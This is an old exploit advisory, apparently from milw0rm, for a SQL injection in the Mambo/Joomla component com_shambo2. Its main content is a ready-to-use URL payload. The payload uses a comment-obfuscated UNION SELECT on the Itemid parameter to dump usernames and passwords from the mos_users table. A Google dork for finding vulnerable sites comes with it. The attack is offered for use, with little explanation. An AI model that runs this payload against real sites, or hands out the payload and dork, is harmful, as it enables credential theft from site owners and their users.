Mambo Component Shambo2 - 'itemID' SQL Injection

#########################################################################
#
# joomla SQL Injection(com_shambo2)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"com_shambo2"
#
##########################################################################
EXPLOIT :

index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users


##########################################################################
#  S@BUN                 www.hackturkiye.com                      S@BUN
##########################################################################
# S@BUN                      GOOD LUCKY                             S@BUN
##########################################################################

# milw0rm.com [2008-02-04]